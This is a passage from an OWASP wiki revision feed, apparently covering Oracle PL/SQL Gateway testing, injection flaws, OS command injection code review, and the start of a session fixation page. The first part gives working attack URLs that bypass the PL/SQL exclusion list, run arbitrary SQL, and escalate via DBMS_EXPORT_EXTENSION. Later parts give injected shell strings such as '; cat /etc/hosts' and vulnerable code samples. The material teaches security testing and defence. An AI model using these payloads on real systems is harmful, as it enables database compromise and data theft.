 9  htp.HTBUF_LEN := 255;&lt;br /&gt;
 10  null;&lt;br /&gt;
 11  null;&lt;br /&gt;
 12  simple_list__(1) := 'sys.%';&lt;br /&gt;
 13  simple_list__(2) := 'dbms\_%';&lt;br /&gt;
 14  simple_list__(3) := 'utl\_%';&lt;br /&gt;
 15  simple_list__(4) := 'owa\_%';&lt;br /&gt;
 16  simple_list__(5) := 'owa.%';&lt;br /&gt;
 17  simple_list__(6) := 'htp.%';&lt;br /&gt;
 18  simple_list__(7) := 'htf.%';&lt;br /&gt;
 19  if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then&lt;br /&gt;
 20   rc__ := 2;&lt;br /&gt;
 21  else&lt;br /&gt;
 22   null;&lt;br /&gt;
 23   orasso.wpg_session.init();&lt;br /&gt;
 24   foo.bar(XYZ=&amp;gt;:XYZ);&lt;br /&gt;
 25   if (wpg_docload.is_file_download) then&lt;br /&gt;
 26    rc__ := 1;&lt;br /&gt;
 27    wpg_docload.get_download_file(:doc_info);&lt;br /&gt;
 28    orasso.wpg_session.deinit();&lt;br /&gt;
 29    null;&lt;br /&gt;
 30    null;&lt;br /&gt;
 31    commit;&lt;br /&gt;
 32   else&lt;br /&gt;
 33    rc__ := 0;&lt;br /&gt;
 34    orasso.wpg_session.deinit();&lt;br /&gt;
 35    null;&lt;br /&gt;
 36    null;&lt;br /&gt;
 37    commit;&lt;br /&gt;
 38    owa.get_page(:data__,:ndata__);&lt;br /&gt;
 39   end if;&lt;br /&gt;
 40  end if;&lt;br /&gt;
 41  :rc__ := rc__;&lt;br /&gt;
 42  :db_proc_time__ := dbms_utility.get_time—start_time__;&lt;br /&gt;
 43 end;&lt;br /&gt;
&lt;br /&gt;
Notice lines 19 and 24. On line 19, the user’s request is checked against a list of known “bad” strings, i.e., the exclusion list. If the requested package and procedure do not contain bad strings, then the procedure is executed on line 24. The XYZ parameter is passed as a bind variable. &lt;br /&gt;
&lt;br /&gt;
If we then request the following:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://server.example.com/pls/dad/INJECT'POINT &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the following PL/SQL is executed:&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 18  simple_list__(7) := 'htf.%';&lt;br /&gt;
 19  if ((owa_match.match_pattern('inject'point', simple_list__, complex_list__, true))) then&lt;br /&gt;
 20   rc__ := 2;&lt;br /&gt;
 21  else&lt;br /&gt;
 22   null;&lt;br /&gt;
 23   orasso.wpg_session.init();&lt;br /&gt;
 24   inject'point;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
This generates an error in the error log: “PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the following. . .”  What we have here is a way to inject arbitrary SQL. This can be exploited to bypass the exclusion list. First, the attacker needs to find a PL/SQL procedure that takes no parameters and doesn't match anything in the exclusion list. There are a good number of default packages that match this criteria, for example:&lt;br /&gt;
&lt;br /&gt;
 JAVA_AUTONOMOUS_TRANSACTION.PUSH&lt;br /&gt;
 XMLGEN.USELOWERCASETAGNAMES&lt;br /&gt;
 PORTAL.WWV_HTP.CENTERCLOSE&lt;br /&gt;
 ORASSO.HOME&lt;br /&gt;
 WWC_VERSION.GET_HTTP_DATABASE_INFO&lt;br /&gt;
&lt;br /&gt;
An attacker should pick one of these functions that is actually available on the target system (i.e., returns a 200 OK when requested). As a test, an attacker can request&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://server.example.com/pls/dad/orasso.home?FOO=BAR&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the server should return a “404 File Not Found” response because the orasso.home procedure does not require parameters and one has been supplied. However, before the 404 is returned, the following PL/SQL is executed:&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then&lt;br /&gt;
  rc__ := 2;&lt;br /&gt;
 else&lt;br /&gt;
    null;&lt;br /&gt;
    orasso.wpg_session.init();&lt;br /&gt;
    orasso.home(FOO=&amp;gt;:FOO);&lt;br /&gt;
    ..&lt;br /&gt;
    ..&lt;br /&gt;
&lt;br /&gt;
Note the presence of FOO in the attacker’s query string. Attackers can abuse this to run arbitrary SQL. First, they need to close the brackets:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://server.example.com/pls/dad/orasso.home?);--=BAR&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This results in the following PL/SQL being executed: &lt;br /&gt;
	&lt;br /&gt;
 ..&lt;br /&gt;
 orasso.home();--=&amp;gt;:);--);&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
Note that everything after the double minus (--) is treated as a comment. This request will cause an internal server error because one of the bind variables is no longer used, so the attacker needs to add it back. As it happens, it’s this bind variable that is the key to running arbitrary PL/SQL. For the moment, they can just use HTP.PRINT to print BAR, and add the needed bind variable as :1:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This should return a 200 with the word “BAR” in the HTML. What’s happening here is that everything after the equals sign - BAR in this case - is the data inserted into the bind variable. Using the same technique it’s possible to also gain access to owa_util.cellsprint again:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To execute arbitrary SQL, including DML and DDL statements, the attacker inserts an execute immediate :1:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note that the output won’t be displayed. This can be leveraged to exploit any PL/SQL injection bugs owned by SYS, thus enabling an attacker to gain complete control of the backend database server. For example, the following URL takes advantage of the SQL injection flaws in DBMS_EXPORT_EXTENSION (see http://secunia.com/advisories/19860)&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/orasso.home?);&lt;br /&gt;
 execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20&lt;br /&gt;
 BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES&lt;br /&gt;
 ('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1);&lt;br /&gt;
 EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20&lt;br /&gt;
 PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';&lt;br /&gt;
 END;--','SYS',1,'VER',0);END;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Assessing Custom PL/SQL Web Applications===&lt;br /&gt;
&lt;br /&gt;
During black box security assessments, the code of the custom PL/SQL application is not available, but it still needs to be assessed for security vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
'''Testing for SQL Injection'''&amp;lt;br&amp;gt;&lt;br /&gt;
Each input parameter should be tested for SQL injection flaws. These are easy to find and confirm. Finding them is as easy as embedding a single quote into the parameter and checking for error responses (which include 404 Not Found errors). Confirming the presence of SQL injection can be performed using the concatenation operator.&lt;br /&gt;
&lt;br /&gt;
For example, assume there is a bookstore PL/SQL web application that allows users to search for books by a given author:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/bookstore/books.search?author=DICKENS&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If this request returns books by Charles Dickens, but &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/bookstore/books.search?author=DICK'ENS&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
returns an error or a 404, then there might be a SQL injection flaw. This can be confirmed by using the concatenation operator:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If this request returns books by Charles Dickens, you've confirmed the presence of the SQL injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Hackproofing Oracle Application Server - http://www.ngssoftware.com/papers/hpoas.pdf&amp;lt;BR&amp;gt;&lt;br /&gt;
* Oracle PL/SQL Injection - http://www.databasesecurity.com/oracle/oracle-plsql-2.pdf&amp;lt;BR&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* SQLInjector - http://www.databasesecurity.com/sql-injector.htm&amp;lt;BR&amp;gt;&lt;br /&gt;
* Orascan (Oracle Web Application VA scanner), NGS SQuirreL (Oracle RDBMS VA Scanner) - http://www.ngssecure.com/services/information-security-software.aspx&amp;lt;BR&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10_2007-Injection_Flaws&amp;diff=128731</id>
		<title>Top 10 2007-Injection Flaws</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10_2007-Injection_Flaws&amp;diff=128731"/>
				<updated>2012-04-28T14:05:26Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2007:TopTemplate|usenext=NextLink|next=-Malicious File Execution|useprev=PrevLink|prev=-Cross Site Scripting|usemain=MainLink|main=}}&lt;br /&gt;
&lt;br /&gt;
Injection flaws, particularly SQL injection, are unfortunately very common in web applications. There are many types of injections: [http://cwe.mitre.org/data/definitions/89.html SQL], [http://cwe.mitre.org/data/definitions/564.html Hibernate Query Language (HQL)], [http://cwe.mitre.org/data/definitions/90.html LDAP], [http://cwe.mitre.org/data/definitions/91.html XPath], [http://cwe.mitre.org/data/definitions/652.html XQuery], [http://cwe.mitre.org/data/definitions/91.html XSLT], [http://cwe.mitre.org/data/definitions/79.html HTML], [http://cwe.mitre.org/data/definitions/91.html XML], [http://cwe.mitre.org/data/definitions/78.html OS command injection] and many more. &lt;br /&gt;
&lt;br /&gt;
Injection occurs when user-supplied data is sent to an interpreter as part of a command or query. Attackers trick the interpreter into executing unintended commands via supplying specially crafted data. Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application. In the worst case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.&lt;br /&gt;
&lt;br /&gt;
== Environments Affected ==&lt;br /&gt;
&lt;br /&gt;
All web application frameworks that use interpreters or invoke other processes are vulnerable to injection attacks. This includes any components of the framework, that might use back-end interpreters. &lt;br /&gt;
&lt;br /&gt;
== Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
If user input is passed into an interpreter without validation or encoding, the application is vulnerable. Check if user input is supplied to dynamic queries, such as:&lt;br /&gt;
&lt;br /&gt;
 ''PHP:''&lt;br /&gt;
    &amp;lt;code&amp;gt;$sql = &amp;quot;SELECT * FROM table WHERE id = '&amp;quot; . $_REQUEST['id'] . &amp;quot;'&amp;quot;; &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ''Java:''&lt;br /&gt;
    &amp;lt;code&amp;gt;String query = &amp;quot;SELECT user_id FROM user_data WHERE &lt;br /&gt;
         user_name = '&amp;quot; + req.getParameter(&amp;quot;userID&amp;quot;) + &amp;quot;' and &lt;br /&gt;
         user_password = '&amp;quot; + req.getParameter(&amp;quot;pwd&amp;quot;) +&amp;quot;'&amp;quot;;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Verifying Security ==&lt;br /&gt;
&lt;br /&gt;
The goal is to verify that user data cannot modify the meaning of commands and queries sent to any of the interpreters invoked by the application.&lt;br /&gt;
&lt;br /&gt;
Automated approaches: Many vulnerability scanning tools search for injection problems, particularly SQL injection. Static analysis tools that search for uses of unsafe interpreter APIs are useful, but frequently cannot verify that appropriate validation or encoding might be in place to protect against the vulnerability. If the application catches 501 / 500 internal server errors, or detailed database errors, it can significantly hamper automated tools, but the code may still be at risk. Automated tools may be able to detect LDAP / XML injections / XPath injections. &lt;br /&gt;
&lt;br /&gt;
Manual approaches: The most efficient and accurate approach is to check the code that invokes interpreters. The reviewer should verify the use of a safe API or that appropriate validation and/or encoding has occurred. Testing can be extremely time-consuming and with low coverageand spotty because the attack surface of most applications is so large.&lt;br /&gt;
&lt;br /&gt;
== Protection ==&lt;br /&gt;
&lt;br /&gt;
Avoid the use of interpreters when possible. If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping (ORM) libraries that are immune to injection (be careful here - Hibernate, for example is NOT immune to injection by itself. You have to use named parameters to be safe in Hibernate). These interfaces handle all data escaping, or do not require escaping. Note that while safe interfaces solve the problem, validation is still recommended in order to detect attacks.&lt;br /&gt;
&lt;br /&gt;
Using interpreters is dangerous, so it's worth it to take extra care, such as the following:&lt;br /&gt;
&lt;br /&gt;
*'''Input validation.''' Use a standard input validation mechanism to validate all input data for length, type, syntax, and business rules before accepting the data to be displayed or stored. Use an &amp;quot;accept known good&amp;quot; validation strategy. Reject invalid input rather than attempting to sanitize potentially hostile data. Do not forget that error messages might also include invalid data&lt;br /&gt;
*'''Use strongly typed parameterized query APIs''' with placeholder substitution markers, even when calling stored procedures&lt;br /&gt;
*'''Enforce least privilege''' when connecting to databases and other backend systems&lt;br /&gt;
*'''Avoid detailed error messages''' that are useful to an attacker&lt;br /&gt;
*'''Show care when using stored procedures''' since they are generally safe from SQL Injection. However, be careful as they can be injectable (such as via the use of exec() or concatenating arguments within the stored procedure) &lt;br /&gt;
*'''Do not use dynamic query interfaces''' (such as mysql_query() or similar)&lt;br /&gt;
*'''Do not use simple escaping functions''', such as PHP's addslashes() or character replacement functions like str_replace(&amp;quot;'&amp;quot;, &amp;quot;''&amp;quot;). These are weak and have been successfully exploited by attackers. For PHP, use mysql_real_escape_string() if using MySQL, or preferably use PDO which does not require escaping&lt;br /&gt;
*When using simple escape mechanisms, note that''' simple escaping functions cannot escape table names'''! Table names must be legal SQL, and thus are completely unsuitable for user supplied input&lt;br /&gt;
*'''Watch out for canonicalization errors.''' Inputs must be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked&lt;br /&gt;
Language specific recommendations:&lt;br /&gt;
&lt;br /&gt;
*Java EE - use strongly typed PreparedStatement, or ORMs such as Spring or named parameters within Hibernate.&lt;br /&gt;
*.NET - use strongly typed parameterized queries, such as SqlCommand with SqlParameter, or named parameters within Hibernate.&lt;br /&gt;
*PHP - use PDO with strongly typed parameterized queries (using bindParam()).&lt;br /&gt;
&lt;br /&gt;
== Samples  ==&lt;br /&gt;
&lt;br /&gt;
*[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5121 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5121]    &lt;br /&gt;
*[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4953 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4953]  &lt;br /&gt;
*[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4592 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4592] &lt;br /&gt;
&lt;br /&gt;
== Related Sites ==&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Guide to SQL Injection]]&lt;br /&gt;
*[[SQL Injection Prevention Cheat Sheet]]&lt;br /&gt;
*[[Reviewing Code for SQL Injection]]&lt;br /&gt;
*[[Testing for SQL Injection (OWASP-DV-005)|Testing for SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
*CWE: CWE-89 (SQL Injection), CWE-77 (Command Injection), CWE-90 (LDAP Injection), CWE-91 (XML Injection), CWE-93 (CRLF Injection), others.&lt;br /&gt;
*WASC Threat Classification: [http://www.webappsec.org/projects/threat/classes/sql_injection.shtml (1) SQL Injection]  [http://www.webappsec.org/projects/threat/classes/ldap_injection.shtml (2) LDAP Injection] [http://www.webappsec.org/projects/threat/classes/os_commanding.shtml (3) OS Commanding]&lt;br /&gt;
*Advanced SQL Injection, [http://www.ngssoftware.com/papers/advanced_sql_injection.pdf http://www.ngssoftware.com/papers/advanced_sql_injection.pdf]    &lt;br /&gt;
*More Advanced SQL Injection, [http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf]&lt;br /&gt;
*Hibernate, an advanced object relational manager (ORM) for J2EE and .NET, [http://www.hibernate.org/ http://www.hibernate.org/] &lt;br /&gt;
*J2EE Prepared Statements, [http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html]&lt;br /&gt;
*How to: Protect from SQL injection in ASP.Net, [http://msdn2.microsoft.com/en-us/library/ms998271.aspx http://msdn2.microsoft.com/en-us/library/ms998271.aspx] &lt;br /&gt;
*PHP PDO functions, [http://php.net/pdo http://php.net/pdo]&lt;br /&gt;
*SQL Injection, [http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2007:BottomTemplate|usenext=NextLink|next=-Malicious File Execution|useprev=PrevLink|prev=-Cross Site Scripting|usemain=MainLink|main=}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Top Ten Project]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Reviewing_Code_for_OS_Injection&amp;diff=128730</id>
		<title>Reviewing Code for OS Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Reviewing_Code_for_OS_Injection&amp;diff=128730"/>
				<updated>2012-04-28T13:53:25Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Reviewing Code for Buffer Overruns and Overflows | lblprev=&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Reviewing Code for SQL Injection | lblnext=&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
Injection flaws allow attackers to pass malicious code through a web application to another subsystem. Depending on the subsystem, different types of injection attacks can be performed: &lt;br /&gt;
&lt;br /&gt;
RDBMS: SQL Injection&amp;lt;br&amp;gt;&lt;br /&gt;
WebBrowser/Appserver: SQL Injection&amp;lt;br&amp;gt;&lt;br /&gt;
OS-shell: Operating system commands Calling external applications from your application.&lt;br /&gt;
&lt;br /&gt;
OS Commanding is one of the attack classes that fall into [http://www.webappsec.org/projects/threat/classes/os_commanding.shtml Injection Flaws]. In other classifications, it is placed in [https://www.fortify.com/vulncat/en/vulncat/index.html Input Validation and Representation] category, [[Top_10_2007-A2|OS Commanding]] threat class or defined as [http://cwe.mitre.org/data/definitions/77.html Failure to Sanitize Data into Control Plane] weakness and [http://capec.mitre.org/data/definitions/6.html Argument Injection] attack pattern enumeration. OS Commanding happens when an application accepts untrusted/insecure input and passes it to external applications (either as the application name itself or arguments) without validation or a proper escaping.&lt;br /&gt;
&lt;br /&gt;
==How to Locate the Potentially Vulnerable code ==&lt;br /&gt;
Many developers believe text fields are the only areas for data validation. This is an incorrect assumption. Any external input must be data validated: &lt;br /&gt;
&lt;br /&gt;
Text fields, List boxes, radio buttons, check boxes, cookies, HTTP header data, HTTP post data, hidden fields, parameter names and parameter values. … This is not an exhaustive list. &lt;br /&gt;
&lt;br /&gt;
“Process to process” or “entity-to-entity” communication must be investigated also. Any code that communicates with an upstream or downstream process and accepts input from it must be reviewed. &lt;br /&gt;
&lt;br /&gt;
All injection flaws are input-validation errors. The presence of an injection flaw is an indication of incorrect data validation on the input received from an external source outside the boundary of trust, which gets more blurred every year. &lt;br /&gt;
&lt;br /&gt;
Basically for this type of vulnerability we need to find all input streams into the application. This can be from a user’s browser, CLI or fat client but also from upstream processes that “feed” our application. &lt;br /&gt;
&lt;br /&gt;
An example would be to search the code base for the use of APIs or packages that are normally used for communication purposes. &lt;br /&gt;
&lt;br /&gt;
The '''java.io''', '''java.sql''', '''java.net''', '''java.rmi''', '''java.xml''' packages are all used for application communication. Searching for methods from those packages in the code base can yield results. A less “scientific” method is to search for common keywords such as “UserID”, “LoginID” or “Password”.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Patterns for OS Injection ==&lt;br /&gt;
What we should be looking for are relationships between the application and the operating system; the application-utilising functions of the underlying operating system. &lt;br /&gt;
&lt;br /&gt;
In Java using the Runtime object, '''java.lang.Runtime''' does this.&lt;br /&gt;
In .NET calls such as '''System.Diagnostics.Process.Start '''are used to call underlying OS functions. &lt;br /&gt;
In PHP we may look for calls such as '''exec()''' or '''passthru()'''.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
We have a class that eventually gets input from the user via a HTTP request. This class is used to execute some native exe on the application server and return a result. &lt;br /&gt;
&lt;br /&gt;
 public class DoStuff {&lt;br /&gt;
 public string executeCommand(String userName)&lt;br /&gt;
 {	try {&lt;br /&gt;
 		String myUid = userName;&lt;br /&gt;
 		Runtime rt = Runtime.getRuntime();&lt;br /&gt;
 		rt.exec(&amp;quot;'''''cmd.exe /C''''' doStuff.exe &amp;quot; +”-“ +myUid); // Call exe with userID&lt;br /&gt;
 	}catch(Exception e)&lt;br /&gt;
 		{&lt;br /&gt;
 e.printStackTrace();&lt;br /&gt;
 		}&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The method executeCommand calls '''''doStuff.exe''''' (utilizing cmd.exe) via the '''''java.lang.runtime''''' static method '''''getRuntime()'''''. The parameter passed is not validated in any way in this class. We are assuming that the data has not been data validated prior to calling this method. ''Transactional analysis should have encountered any data validation prior to this point.''&lt;br /&gt;
Inputting “Joe69” would result in the following MS DOS command:&lt;br /&gt;
&lt;br /&gt;
'''''doStuff.exe –Joe69'''''&lt;br /&gt;
&lt;br /&gt;
Lets say we input '''''Joe69 &amp;amp; netstat –a''''' we would get the following response:&lt;br /&gt;
&lt;br /&gt;
The exe doStuff would execute passing in the User Id Joe69, but then the DOS command '''''netstat''''' would be called. How this works is the passing of the parameter “&amp;amp;” into the application, which in turn is used as a command appender in MS DOS and hence the command after the &amp;amp; character is executed. &lt;br /&gt;
&lt;br /&gt;
This wouldn't be true, if the code above was written as (here we assume that '''''doStuff.exe''''' doesn't act as an command interpreter, such as cmd.exe or /bin/sh);&lt;br /&gt;
&lt;br /&gt;
 public class DoStuff {&lt;br /&gt;
 public string executeCommand(String userName)&lt;br /&gt;
 {	try {&lt;br /&gt;
 		String myUid = userName;&lt;br /&gt;
 		Runtime rt = Runtime.getRuntime();&lt;br /&gt;
 		rt.exec(&amp;quot;doStuff.exe &amp;quot; +”-“ +myUid); // Call exe with userID&lt;br /&gt;
 	}catch(Exception e)&lt;br /&gt;
 		{&lt;br /&gt;
 e.printStackTrace();&lt;br /&gt;
 		}&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Why? From [http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Runtime.html Java 2 documentation];&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'' ... More precisely, the given command string is broken into tokens using a StringTokenizer created by the call new StringTokenizer(command) with no further modification of the character categories. The tokens produced by the tokenizer are then placed in the new string array cmdarray, in the same order ... ''&lt;br /&gt;
&lt;br /&gt;
The produced array contains the executable (the first item) to call and its arguments (the rest of the arguments). So, unless the first item to be called is an application which parses the arguments and interprets them, and further calls other external applications according to them, it wouldn't be possible to execute  '''''netstat''''' in the above code snippet. Such a first item to be called would be '''''cmd.exe''''' in Windows boxes or '''''sh''''' in Unix-like boxes.&lt;br /&gt;
&lt;br /&gt;
Most of the out-of-box source code/assembly analyzers would (and some wouldn't!) flag a ''Command Execution'' issue when they encounter the dangerous APIs; '''''System.Diagnostics.Process.Start''''', '''''java.lang.Runtime.exec'''''. However, obviously, the calculated risk should differ. In the first example, the &amp;quot;command injection&amp;quot; is there, whereas, in the second one without any validation nor escaping what can be called as &amp;quot;argument injection&amp;quot; vulnerability exists. The risk is still there, but the severity depends on the command being called. So, the issue needs analysis. &lt;br /&gt;
&lt;br /&gt;
===UNIX===&lt;br /&gt;
&lt;br /&gt;
An attacker might insert the string '''“; cat /etc/hosts”''' and the contents of the UNIX hosts file might be exposed to the attacker if the command is executed through a shell such as /bin/bash or /bin/sh. &lt;br /&gt;
&lt;br /&gt;
===.NET Example===&lt;br /&gt;
 namespace ExternalExecution&lt;br /&gt;
 {&lt;br /&gt;
 class CallExternal&lt;br /&gt;
 {&lt;br /&gt;
 static void Main(string[] args)&lt;br /&gt;
 {&lt;br /&gt;
 String arg1=args[0];&lt;br /&gt;
 System.Diagnostics.Process.Start(&amp;quot;doStuff.exe&amp;quot;, arg1);&lt;br /&gt;
 }&lt;br /&gt;
 }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Yet again there is no data validation to speak of here, assuming that there is no upstream validation occurring in another class. &lt;br /&gt;
&lt;br /&gt;
===Classic ASP Example===&lt;br /&gt;
 &amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;% &lt;br /&gt;
   option explicit&lt;br /&gt;
   dim wshell&lt;br /&gt;
   set wshell = CreateObject(&amp;quot;WScript.Shell&amp;quot;) &lt;br /&gt;
   wshell.run &amp;quot;c:\file.bat &amp;quot; &amp;amp; Request.Form(&amp;quot;Args&amp;quot;)&lt;br /&gt;
   set wshell = nothing &lt;br /&gt;
 %&amp;gt;&lt;br /&gt;
 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
These attacks include calls to the operating system via system calls, the use of external programs via shell commands, as well as calls to backend databases via SQL (i.e. SQL injection). Complete scripts written in Perl, Python, shell, bat, and other languages can be injected into poorly designed web applications and executed.&lt;br /&gt;
&lt;br /&gt;
==Good Patterns &amp;amp; procedures to prevent OS injection==&lt;br /&gt;
&lt;br /&gt;
See the Data Validation section.&lt;br /&gt;
&lt;br /&gt;
==Related Articles==&lt;br /&gt;
[[Command Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Interpreter Injection]]&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Reviewing Code for Buffer Overruns and Overflows | lblprev=&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Reviewing Code for SQL Injection | lblnext=&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;br /&gt;
[[Category:Input Validation]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Session_Fixation&amp;diff=127818</id>
		<title>Session Fixation</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Session_Fixation&amp;diff=127818"/>
				<updated>2012-04-13T14:15:31Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Authenticating a user without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.&lt;br /&gt;
&lt;br /&gt;
Session fixation vulnerabilities occur when:&lt;br /&gt;
&lt;br /&gt;
# A web application authenticates a user without first invalidating the existing session ID, thereby continuing to use the session ID already associated with the user. &lt;br /&gt;
# An attacker is able to force a known session ID on a user so that, once the user authenticates, the attacker has access to the authenticated session.&lt;br /&gt;
&lt;br /&gt;
In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to authenticate against the server using the same session identifier, giving the attacker access to the user's account through the active session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen&lt;br /&gt;
* Discuss the technical impact of a successful exploit of this vulnerability&lt;br /&gt;
